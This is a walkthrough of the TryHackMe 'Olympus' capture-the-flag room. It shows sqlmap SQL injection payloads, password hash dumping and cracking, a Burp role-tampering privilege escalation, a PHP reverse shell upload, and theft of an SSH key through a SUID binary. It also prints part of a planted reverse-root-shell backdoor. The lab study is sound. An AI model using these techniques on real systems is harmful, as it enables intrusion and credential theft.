Olympus
Date: July 22nd 2022
Author: j.info
Link: Olympus CTF on TryHackMe
TryHackMe Difficulty Rating: Medium
Objectives
- What is Flag 1?
- What is Flag 2?
- What is Flag 3?
- What is Flag 4?
Initial Enumeration
Nmap Scan
sudo nmap -sV -sC -T4 10.10.83.73
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm
Given it’s trying to reach olympus.thm I went ahead and added that to my hosts file.
Gobuster Scan
gobuster dir -u http://olympus.thm -t 100 -r -x php,txt,html -w dir-med.txt
/index.php (Status: 200) [Size: 1948]
/static (Status: 200) [Size: 1756]
/phpmyadmin (Status: 403) [Size: 276]
/javascript (Status: 403) [Size: 276]
/~webmaster (Status: 200) [Size: 9386]
/~webmaster scan:
/LICENSE (Status: 200) [Size: 1070]
/admin (Status: 200) [Size: 9386]
/category.php (Status: 200) [Size: 6650]
/css (Status: 200) [Size: 1183]
/fonts (Status: 200) [Size: 2405]
/index.php (Status: 200) [Size: 9386]
/includes (Status: 200) [Size: 2377]
/img (Status: 403) [Size: 276]
/js (Status: 200) [Size: 1794]
/search.php (Status: 200) [Size: 6621]
Website Digging
Visiting the main page:
Directory browsing is enabled on /static but looking through the files doesn’t provide anything interesting.
No cookies or anything saved for this website.
Trying to access /phpmyadmin gives us a forbidden as expected, but also provides us the underlying webserver and version:
Looking at ~webmaster shows us the old version of the site mentioned on the main page:
Scrolling down to the bottom:
None of the links on the top menu bar do anything. Nor do any the buttons, or the links at the bottom after scrolling down.
Testing the search box for SQLi shows:
I try to login as root with ‘ or 1=1 as the password and it doesn’t actually do anything.
SQLi
Let’s see what sqlmap finds for us:
sqlmap -u http://olympus.thm/~webmaster -T users --dump --forms --crawl=2 --batch
sqlmap identified the following injection point(s) with a total of 144 HTTP(s) requests:
---
Parameter: user_name (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user_name=MxlA' AND (SELECT 6854 FROM (SELECT(SLEEP(5)))CfPK) AND 'hbcl'='hbcl&user_password=&login=tDoN
In the olympus database it found 9 columns for the users table:
[10:16:20] [INFO] fetching columns for table 'users' in database 'olympus'
[10:16:20] [INFO] retrieved: 9
[10:16:33] [INFO] retrieved: randsalt
[10:18:15] [INFO] retrieved: user_email
[10:20:27] [INFO] retrieved: user_firstname
[10:23:34] [INFO] retrieved: user_id
[10:25:16] [INFO] retrieved: user_image
[10:27:24] [INFO] retrieved: user_lastname
[10:30:18] [INFO] retrieved: user_name
[10:32:22] [INFO] retrieved: user_password
[10:35:32] [INFO] retrieved: user_role
And it found 3 users starting with prometheus:
[10:38:04] [INFO] retrieved:
[10:38:16] [INFO] retrieved: prometheus@olympus.thm
[10:41:06] [INFO] retrieved: prometheus
[10:42:22] [INFO] retrieved: 3
[10:42:29] [INFO] retrieved:
[10:42:29] [INFO] retrieved:
[10:42:30] [INFO] retrieved: prometheus
[10:43:46] [INFO] retrieved: $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C
[10:52:14] [INFO] retrieved: User
And root:
[10:52:42] [INFO] retrieved: dgas
[10:53:07] [INFO] retrieved: root@chat.^X@seolympus.thm
[10:56:01] [INFO] retrieved: root
[10:56:36] [INFO] retrieved: 6
[10:56:45] [INFO] retrieved:
[10:56:46] [INFO] retrieved:
[10:56:46] [INFO] retrieved: root
[10:57:21] [INFO] retrieved: $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK
[11:05:25] [INFO] retrieved: Admin
And finally no olympus system is complete without zeus:
[11:05:57] [INFO] retrieved: dgas
[11:06:22] [INFO] retrieved: zeus@chat.olympus.thm
[11:09:11] [INFO] retrieved: zeus
[11:09:40] [INFO] retrieved: 7
[11:09:49] [INFO] retrieved:
[11:09:49] [INFO] retrieved:
[11:09:50] [INFO] retrieved: zeus
[11:10:19] [INFO] retrieved: $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC
[11:18:55] [INFO] retrieved: User
And the full results:
Database: olympus
Table: users
[3 entries]
+---------+----------+------------+-----------+------------------------+------------+---------------+--------------------------------------------------------------+----------------+
| user_id | randsalt | user_name | user_role | user_email | user_image | user_lastname | user_password | user_firstname |
+---------+----------+------------+-----------+------------------------+------------+---------------+--------------------------------------------------------------+----------------+
| 3 | <blank> | prometheus | User | prometheus@olympus.thm | <blank> | <blank> | $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C | prometheus |
| 6 | dgas | root | Admin | root@chat.olympus.thm | <blank> | <blank> | $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK | root |
| 7 | dgas | zeus | User | zeus@chat.olympus.thm | <blank> | <blank> | $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC | zeus |
+---------+----------+------------+-----------+------------------------+------------+---------------+--------------------------------------------------------------+----------------+
I try and crack the hashes and only the one for prometheus cracks:
hashcat-6.2.5>hashcat -m 3200 -w 3 -O -D 1,2 hash.txt rockyou.txt
$2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C:<REDACTED>
Recovered........: 1/3 (33.33%) Digests, 1/3 (33.33%) Salts
On the CMS page I capture a search request using the search box and save it to a file and then use that to further enumerate with sqlmap. I should have done this earlier it was so much faster than the previous way I found the users. It looks like there are additional tables inside the olympus database:
sqlmap -r test.req --tables olympus --batch
Database: olympus
[6 tables]
+------------------------------------------------------+
| categories |
| chats |
| comments |
| flag |
| posts |
| users |
+------------------------------------------------------+
The flag table certainly looks interesting!
sqlmap -r test.req -D olympus -T flag --batch --dump
Database: olympus
Table: flag
[1 entry]
+---------------------------+
| flag |
+---------------------------+
| flag{<REDACTED>} |
+---------------------------+
That answers our what is flag 1 objective.
More Website Digging
Back on the website I try to login with the prometheus user credentails we have and it works, and brings us to the CMS admin page:
Under the users menu on the left there is an option to add a new user, and it let’s me add a new user and assign them to admin status, whereas I’m only a normal user on my current user:
With the adminuser added as an admin I logout and then try to log in as that user, but it doesn’t actually log me in like it did with the prometheus user for some reason.
I log back in as promethus and it takes me right to the CMS. Odd. Let’s try something else here.
I start up burp suite and from the profile page of the prometheus user I click update user to capture the request in burp:
I modify the user_role section to Admin to see if it we can just make ourselves an admin that way and then send the request through, and it works:
I try everything I can to further exploit this website now that we’re an admin account but nothing works.
Looking back at the users table the root account had an email address of root@chat.olympus.thm but we haven’t seen a chat portion anywhere. Let’s add this to our hosts and see if we can access it.
Ok that’s something new. Let’s gobuster scan it to see what we can find on chat.olympus.thm:
gobuster dir -u http://chat.olympus.thm/ -t 100 -r -x html,php,txt -w dir-med.txt
/config.php (Status: 200) [Size: 0]
/static (Status: 200) [Size: 1761]
/phpmyadmin (Status: 403) [Size: 281]
/uploads (Status: 200) [Size: 0]
/login.php (Status: 200) [Size: 1577]
/index.php (Status: 200) [Size: 1577]
/upload.php (Status: 200) [Size: 112]
/javascript (Status: 403) [Size: 281]
/home.php (Status: 200) [Size: 1577]
/logout.php (Status: 200) [Size: 1577]
Nothing much interesting in those results.
I check to see if I can login as prometheus and it works, and then try to upload a php reverse shell which will likely be stored in the /uploads folder, but reading the chat message it says uploads get renamed to random file names.
System Access - www-data
Back in the olympus database there was a table called chats. I bet the random file name will be stored in there. I run sqlmap:
sqlmap -r test.req -D olympus -T chats --batch --dump
Database: olympus
Table: chats
[5 entries]
+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------+------------+
| dt | msg | file | uname |
+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------+------------+
| 2022-04-05 | Attached : prometheus_password.txt | 47c3210d51761686f3af40a875eeaaea.txt | prometheus |
| 2022-04-05 | This looks great! I tested an upload and found the upload folder, but it seems the filename got changed somehow because I can't download it back... | <blank> | prometheus |
| 2022-04-06 | I know this is pretty cool. The IT guy used a random file name function to make it harder for attackers to access the uploaded files. He's still working on it. | <blank> | zeus |
| 2022-07-23 | Test | <blank> | prometheus |
| 2022-07-23 | Attached : p.jpg.php | 37cbfb8b1a782887d80fcce8e529261e.php | prometheus |
+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------+------------+
Sure enough, we have our random file name that’s probably hanging out in the /uploads folder. I point my browser towards the prometheus_password.txt file and it just displays the message “you really thought it would be this easy ?!”.
I start up a listener on my system and access the reverse shell I added in the chat app:
And we’re in! A quick shell upgrade and we’re ready to start looking around the system:
System Enumeration - www-data
No luck with sudo -l
it requires a password.
Same thing with getcap -r / 2>/dev/null
there are no files with interesting capabilities.
Checking users with shell access via cat /etc/passwd | grep bash
:
root:x:0:0:root:/root:/bin/bash
zeus:x:1000:1000:Zeus:/home/zeus:/bin/bash
Looking in /var/www/html shows us a non-standard directory name zeus owns that we can’t access. We’ll have to come back to this later I’m betting:
drwxrwx--x 2 root zeus 4096 Jul 15 20:55 0aB44fdS3eDnLkpsz3deGv8TttR4sc
Checking out /home/zeus shows us a file called user.flag which gives us the answer to our second objective “what is flag 2?”:
wc -c /home/zeus/user.flag
34 /home/zeus/user.flag
Looking for SUID files with find / -perm /4000 2>/dev/null
brings up one non-standard SUID file:
/usr/bin/cputils
And also interesting is it’s owned by the zeus user:
-rwsr-xr-x 1 zeus zeus 17728 Apr 18 09:27 /usr/bin/cputils
When running the program the following appears:
____ ____ _ _ _
/ ___| _ \ _ _| |_(_) |___
| | | |_) | | | | __| | / __|
| |___| __/| |_| | |_| | \__ \
\____|_| \__,_|\__|_|_|___/
Enter the Name of Source File:
Trying to get an idea of what it does by running strings
on it shows us:
Enter the Name of Source File:
Error Occurred!
Enter the Name of Target File:
File copied successfully.
So it has something to do with copying files. Let’s test it out.
www-data@olympus:/tmp$ /usr/bin/cputils
____ ____ _ _ _
/ ___| _ \ _ _| |_(_) |___
| | | |_) | | | | __| | / __|
| |___| __/| |_| | |_| | \__ \
\____|_| \__,_|\__|_|_|___/
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: /tmp/id_rsa
File copied successfully.
cat /tmp/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABALr+COV2
NabdkfRp238WfMAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQChujddUX2i
Well, that was easy! Let’s get that key created on our own system and ssh over as zeus.
Trying to connect over reveals that there is a password associated with the private key:
zeus@10.10.204.46's password:
Let’s see if we can crack it.
ssh2john id_rsa > hash
john hash --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (id_rsa)
1g 0:00:00:37 DONE (2022-07-23 11:27) 0.02691g/s 40.47p/s 40.47c/s 40.47C/s maurice..bunny
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Alright, now let’s try and ssh back over again.
System Access - Zeus
ssh -i id_rsa zeus@10.10.204.46
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-109-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 23 Jul 2022 03:30:04 PM UTC
System load: 0.0 Processes: 121
Usage of /: 43.4% of 9.78GB Users logged in: 0
Memory usage: 73% IPv4 address for eth0: 10.10.204.46
Swap usage: 0%
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
33 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sat Jul 16 07:52:39 2022
zeus@olympus:~$
System Enumeration - Zeus
sudo -l
requires a password which we don’t have but it looks like he does have access to sudo since there’s a .sudo_as_admin_successful file in his home directory.
id
uid=1000(zeus) gid=1000(zeus) groups=1000(zeus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
That directory we ran across early that we couldn’t access because it was owned by zeus should be looked at. I change over to it:
cd /var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc
Inside we see a .php file that looks interesting:
-rwxr-xr-x 1 root zeus 1589 Jul 15 20:55 VIGQFQFMYOST.php
It looks like that hacker Zeus put a backdoor in the system!:
<?php
$pass = "a7c5ffcf139742f52a5267c4a0674129";
if(!isset($_POST["password"]) || $_POST["password"] != $pass) die('<form name="auth" method="POST">Password: <input type="password" name="password" /></form>');
set_time_limit(0);
$host = htmlspecialchars("$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]", ENT_QUOTES, "UTF-8");
if(!isset($_GET["ip"]) || !isset($_GET["port"])) die("<h2><i>snodew reverse root shell backdoor</i></h2><h3>Usage:</h3>Locally: nc -vlp [port]</br>Remote: $host?ip=[destination of listener]&port=[listening port]");
$ip = $_GET["ip"]; $port = $_GET["port"];
$write_a = null;
$error_a = null;
$suid_bd = "/lib/defended/libc.so.99";
$shell = "uname -a; w; $suid_bd";
The $pass variable is an MD5 hash which I try and crack with hashcat:
hashcat -m 0 -w 3 -O -D 1,2 hash.txt rockyou.txt
a7c5ffcf139742f52a5267c4a0674129:<REDACTED>
Recovered........: 1/1 (100.00%) Digests
It however does not work when trying to sudo -l
again.
Looking at the $suid_bd and shell makes it looks like we can run the $shell command and get root.
Root
I run the command and sure enough we get root:
uname -a; w; /lib/defended/libc.so.99
zeus@olympus:/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc$ uname -a; w; /lib/defended/libc.so.99
Linux olympus 5.4.0-109-generic #123-Ubuntu SMP Fri Apr 8 09:10:54 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
16:02:41 up 1:59, 1 user, load average: 0.04, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
zeus pts/1 10.6.127.197 15:30 1.00s 0.12s 0.00s w
# whoami
root
# hostname
olympus
Looking in /root shows us our 3rd objective, the 3rd flag:
At the bottom they mention a bonus flag and that regex can be useful so I run a recursive grep on the string flag{ and find it in the following file which gives us the answer to our last objective, flag 4:
grep -r flag{
etc/ssl/private/.b0nus.fl4g:flag{<REDACTED>}
With that we’ve completed this CTF!
Conclusion
A quick run down of what we covered in this CTF:
- Basic enumeration with nmap and gobuster
- Exploting an SQLi vulnerability with sqlmap to find users and password hashes for the website
- Using hashcat to crack the password for one of the website users giving us access to the site
- Further testing the website with burp suite and finding we can change our user to admin by capturing a request and modifying it en route
- Finding a chat application that let’s us upload files, however files get assigned a random name making it more difficult for us to get a reverse shell
- Uploading a reverse php shell and then using sqlmap to dump the chats table, which reveals the random file named assigned to the file we uploaded, which gives us our initial foothold on the system
- A user on the system owns a non-standard SUID file which allows us to copy their private .ssh key to a directory we’re able to view it
- When trying to ssh over as the new user we find the ssh private key is password protected so we crack it with ssh2john and John the Ripper, then connect over to the system as the user
- The new user installed a backdoor in a directory located inside /var/www/html that is a webshell and runs a specific command to escalate to root, which we run and get a root shell
- Lastly we use a recursive grep to find the last piece of hidden information required to complete this challenge
Many thanks to:
- G4vr0ch3 for creating this CTF
- TryHackMe for hosting this CTF
You can visit them at: https://tryhackme.com